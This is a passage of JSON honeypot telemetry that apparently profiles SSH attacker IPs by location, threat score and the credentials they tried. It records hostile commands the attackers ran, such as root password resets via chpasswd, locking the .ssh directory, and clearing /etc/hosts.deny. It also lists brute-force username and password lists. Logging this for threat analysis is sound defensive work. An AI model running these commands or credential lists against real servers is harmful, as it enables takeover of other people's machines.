        "steam",
        "ubuntu",
        "app",
        "david",
        "dev",
        "developer",
        "dolphinscheduler",
        "ec2-user",
        "elasticsearch",
        "esuser",
        "ftp",
        "guest",
        "minecraft",
        "nginx"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1234",
        "admin123",
        "1",
        "111111",
        "12345678",
        "password",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "0000",
        "111",
        "123123123",
        "123321",
        "123456789",
        "1Q2W3E4R",
        "1Q2w3e4r",
        "1q2w3e4r",
        "1qazXSW@"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1541,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T06:15:30.475000+00:00",
        "last_seen_30d": "2026-05-24T08:17:32.217000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1062,
        "Suricata": 479
      }
    },
    "51.81.210.86": {
      "attack_count": 940,
      "first_seen": "2026-05-14T01:15:30.076Z",
      "last_seen": "2026-05-16T13:33:20.487Z",
      "sessions": 470,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 1746,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T01:15:30.076000+00:00",
        "last_seen_30d": "2026-05-16T13:34:24.309000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 940,
        "Suricata": 806
      }
    },
    "58.186.20.101": {
      "attack_count": 603,
      "first_seen": "2026-05-11T15:27:24.437Z",
      "last_seen": "2026-05-31T16:14:46.077Z",
      "sessions": 74,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "postgres",
        "user",
        "acs",
        "arkserver",
        "claude",
        "cockpit",
        "deployer",
        "dev",
        "develop",
        "devopsuser",
        "gitlab-runner",
        "magento",
        "mike",
        "minecraft",
        "nexus",
        "postgresql"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345",
        "123456",
        "P@ssw0rd",
        "P@ssw0rd123456",
        "Password123!",
        "1",
        "110110",
        "123",
        "12345678",
        "123456Aa",
        "123@Pass",
        "1940",
        "1qsx2wdc",
        "232323",
        "25",
        "654321",
        "As1234567"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456Aa\\nC7Ru7JfJaIIS\\nC7Ru7JfJaIIS\\n\"|passwd",
        "echo \"root:7xgWSr3GXyD8\"|chpasswd|bash",
        "echo \"root:PUgmnxPwYaSJ\"|chpasswd|bash",
        "echo \"root:yZkXBzH2AIr5\"|chpasswd|bash",
        "echo -e \"123456Aa\\nC7Ru7JfJaIIS\\nC7Ru7JfJaIIS\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 18403,
      "as_org": "FPT Telecom Company",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 773,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:27:24.437000+00:00",
        "last_seen_30d": "2026-05-31T16:15:53.477000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 603,
        "Suricata": 170
      }
    },
    "160.250.186.97": {
      "attack_count": 483,
      "first_seen": "2026-05-14T23:17:53.226Z",
      "last_seen": "2026-05-14T23:58:58.753Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "user",
        "www",
        "brengoziscute",
        "devops",
        "fecjl1yg",
        "g9q7jreo",
        "mamad",
        "mpi",
        "peak",
        "thomas",
        "tin",
        "ubuntu",
        "warnight",
        "xhl2g06n"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "linux123",
        ".GxRJez2m1MHgY2j4lgG",
        "0day.today",
        "123456a@",
        "1q2w#E$R",
        "3sScGbQLYlTZvYdQqsZA",
        "Aa147258",
        "Abcd1234567890",
        "Hello2026@",
        "Kermit123@",
        "Qq123456",
        "Ubuntu@123",
        "Yl123456",
        "abc12345678",
        "admin",
        "mamad"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1\\nGJdwVP142N5f\\nGJdwVP142N5f\\n\"|passwd",
        "echo \"Kermit123@\\nTkLs3C7Xofcw\\nTkLs3C7Xofcw\\n\"|passwd",
        "echo \"linux123\\ntq1r0rkG7i2g\\ntq1r0rkG7i2g\\n\"|passwd",
        "echo \"root:kzUsKApF4RlV\"|chpasswd|bash",
        "echo \"root:p7R0eMTMwxNs\"|chpasswd|bash",
        "echo -e \"1\\nGJdwVP142N5f\\nGJdwVP142N5f\"|passwd|bash",
        "echo -e \"Kermit123@\\nTkLs3C7Xofcw\\nTkLs3C7Xofcw\"|passwd|bash",
        "echo -e \"linux123\\ntq1r0rkG7i2g\\ntq1r0rkG7i2g\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 567,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:17:53.226000+00:00",
        "last_seen_30d": "2026-05-15T00:00:02.191000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 483,
        "Suricata": 84
      }
    },
    "138.124.73.129": {
      "attack_count": 414,
      "first_seen": "2026-05-18T18:45:19.009Z",
      "last_seen": "2026-05-19T21:27:18.229Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "claude",
        "!@#$1234QWER",
        "!qazxsw23e",
        "10101010",
        "1122",
        "123456qaz",
        "1q@w",
        "777777",
        "Tech$123",
        "Ty123456",
        "WW123456.",
        "a1s2d3f4g5",
        "ahti",
        "alejo",
        "aq1sw2de3",
        "asdf",
        "aspireone",
        "conrad"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:0ylu2UY3SFh8\"|chpasswd|bash",
        "echo \"root:Q7dTk2Foreb4\"|chpasswd|bash",
        "echo \"root:x72hIKb4gH4V\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 41745,
      "as_org": "Baykov Ilya Sergeevich",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 520,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T18:45:19.009000+00:00",
        "last_seen_30d": "2026-05-19T21:28:25.701000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 106
      }
    },
    "185.209.228.108": {
      "attack_count": 396,
      "first_seen": "2026-05-03T02:50:08.434Z",
      "last_seen": "2026-05-03T03:00:45.270Z",
      "sessions": 198,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 596,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T02:50:08.434000+00:00",
        "last_seen_30d": "2026-05-03T03:01:52.054000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 396,
        "Suricata": 200
      }
    },
    "103.166.103.173": {
      "attack_count": 341,
      "first_seen": "2026-05-23T00:09:42.367Z",
      "last_seen": "2026-05-23T01:10:27.416Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "lab",
        "odoo13",
        "sammy",
        "user1",
        "consulta",
        "francisco",
        "panel",
        "postgres"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111",
        "12qwaszX",
        "2wsxXSW@",
        "Dx@123456",
        "Lt123456..",
        "Password1",
        "Wy123456",
        "lab@2025",
        "odoo13",
        "panel",
        "password1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Password1\\nvvaHt7JPyzRl\\nvvaHt7JPyzRl\\n\"|passwd",
        "echo \"lab@2025\\ngVPuNqkyBfM9\\ngVPuNqkyBfM9\\n\"|passwd",
        "echo \"odoo13\\n7fAclzQjHjqh\\n7fAclzQjHjqh\\n\"|passwd",
        "echo \"password1\\nsphsGh5EZP98\\nsphsGh5EZP98\\n\"|passwd",
        "echo -e \"Password1\\nvvaHt7JPyzRl\\nvvaHt7JPyzRl\"|passwd|bash",
        "echo -e \"lab@2025\\ngVPuNqkyBfM9\\ngVPuNqkyBfM9\"|passwd|bash",
        "echo -e \"odoo13\\n7fAclzQjHjqh\\n7fAclzQjHjqh\"|passwd|bash",
        "echo -e \"password1\\nsphsGh5EZP98\\nsphsGh5EZP98\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 142063,
      "as_org": "Grand Tel Private Limited",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 390,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:09:42.367000+00:00",
        "last_seen_30d": "2026-05-23T01:11:36.242000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 341,
        "Suricata": 49
      }
    },
    "161.81.180.137": {
      "attack_count": 322,
      "first_seen": "2026-05-19T06:36:04.141Z",
      "last_seen": "2026-05-19T18:00:07.019Z",
      "sessions": 161,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Ho Man Tin",
      "asn": 137872,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:36:04.141000+00:00",
        "last_seen_30d": "2026-05-19T18:01:13.214000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 322,
        "Suricata": 161
      }
    },
    "152.32.169.153": {
      "attack_count": 311,
      "first_seen": "2026-05-21T15:17:09.165Z",
      "last_seen": "2026-05-21T15:43:01.890Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "container",
        "ovh",
        "azure",
        "cf",
        "chen",
        "ftp",
        "fuwuqi",
        "lan",
        "qq",
        "socks",
        "squid",
        "support",
        "terraform",
        "xiaomi",
        "xue"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "19900101",
        "555555",
        "Feb2024",
        "azure",
        "dianping",
        "ftp",
        "fuwuqi",
        "jianhang",
        "lan123",
        "ovh",
        "password",
        "qq123456",
        "socks",
        "squid123",
        "staff123",
        "terraform",
        "xiaomi"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ovh\\nOJuENt6Edv5m\\nOJuENt6Edv5m\\n\"|passwd",
        "echo \"password\\nalyQDdUOLT5R\\nalyQDdUOLT5R\\n\"|passwd",
        "echo \"root:YyxWMQmRQYgZ\"|chpasswd|bash",
        "echo -e \"ovh\\nOJuENt6Edv5m\\nOJuENt6Edv5m\"|passwd|bash",
        "echo -e \"password\\nalyQDdUOLT5R\\nalyQDdUOLT5R\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 370,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T15:17:09.165000+00:00",
        "last_seen_30d": "2026-05-21T15:44:09.214000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 59
      }
    },
    "69.6.221.248": {
      "attack_count": 309,
      "first_seen": "2026-05-19T20:53:15.804Z",
      "last_seen": "2026-05-19T21:21:32.089Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "2099",
        "909090",
        "Aa123456!",
        "Admin+123",
        "anand123",
        "claude",
        "eagle",
        "jake",
        "mcintosh",
        "mec",
        "mihai2011",
        "moebius",
        "motorola123",
        "nirvana",
        "p@ssword",
        "pipi",
        "root.2023",
        "sun123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IeCdD1uaF5l9\"|chpasswd|bash",
        "echo \"root:Y4JfSRaZvG4U\"|chpasswd|bash",
        "echo \"root:v2Qv3BpoMCuG\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T20:53:15.804000+00:00",
        "last_seen_30d": "2026-05-19T21:22:33.354000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 309,
        "Suricata": 60
      }
    },
    "209.74.86.129": {
      "attack_count": 286,
      "first_seen": "2026-05-28T22:47:33.380Z",
      "last_seen": "2026-05-28T23:21:40.053Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "hadi",
        "backupuser",
        "bot1",
        "dss",
        "hannes",
        "julius",
        "kafka",
        "luis",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "12345678A",
        "6543210",
        "Lf123456",
        "Space123",
        "backupuser",
        "bot1",
        "fjbdfdjkdsfs541544",
        "hannes",
        "julius",
        "luis123",
        "qQ123456789",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123\\nkv3cvFWMj2yv\\nkv3cvFWMj2yv\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\ns5u0iWWQKPMV\\ns5u0iWWQKPMV\\n\"|passwd",
        "echo \"root:DI2gGQ0EXlek\"|chpasswd|bash",
        "echo -e \"123\\nkv3cvFWMj2yv\\nkv3cvFWMj2yv\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\ns5u0iWWQKPMV\\ns5u0iWWQKPMV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 336,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T22:47:33.380000+00:00",
        "last_seen_30d": "2026-05-28T23:22:46.669000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 50
      }
    },
    "103.168.58.222": {
      "attack_count": 261,
      "first_seen": "2026-05-28T21:57:08.504Z",
      "last_seen": "2026-05-28T22:24:29.904Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftp_user",
        "hosting",
        "rdp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "Aa121314",
        "Ab123456",
        "Dev@2025",
        "Hh123456",
        "Hn123456",
        "Password1234",
        "Qwerty123@",
        "fjbdfdjkdsfs541544",
        "ftp_user",
        "rdp"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nZ2YWU3Cv0tYp\\nZ2YWU3Cv0tYp\\n\"|passwd",
        "echo \"ftp_user\\nPM9udf7xOuxC\\nPM9udf7xOuxC\\n\"|passwd",
        "echo \"root:RsVTcaycaInP\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nZ2YWU3Cv0tYp\\nZ2YWU3Cv0tYp\"|passwd|bash",
        "echo -e \"ftp_user\\nPM9udf7xOuxC\\nPM9udf7xOuxC\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 140814,
      "as_org": "Floor 5, 255 Tran Dang Ninh, Dich Vong, Cau Giay District, Ha Noi City",
      "threat_score": 33.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T21:57:08.504000+00:00",
        "last_seen_30d": "2026-05-28T22:25:37.807000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 261,
        "Suricata": 39
      }
    },
    "170.78.119.143": {
      "attack_count": 240,
      "first_seen": "2026-05-06T15:59:31.476Z",
      "last_seen": "2026-05-06T17:34:13.786Z",
      "sessions": 120,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ribeir\u00e3o Preto",
      "asn": 52783,
      "as_org": "ALCANS TELECOM LTDA",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:59:31.476000+00:00",
        "last_seen_30d": "2026-05-06T17:35:48.973000+00:00",
        "days_since_last_seen": 25
      },
